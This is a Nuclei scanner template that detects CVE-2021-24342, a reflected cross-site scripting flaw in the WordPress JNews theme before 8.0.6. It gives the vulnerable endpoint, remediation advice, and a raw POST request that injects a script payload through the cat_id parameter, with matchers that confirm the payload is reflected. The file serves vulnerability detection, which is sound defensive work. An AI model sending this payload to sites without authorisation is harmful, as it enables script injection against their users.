nuclei-templates/http/cves/2021/CVE-2021-24342.yaml

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id: CVE-2021-24342
info:
name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24342
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42876
cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: jnews
product: jnews
framework: wordpress
tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews
http:
- raw:
- |
POST /?ajax-request=jnews HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- 'Content-Type: text/html'
- type: status
status:
- 200
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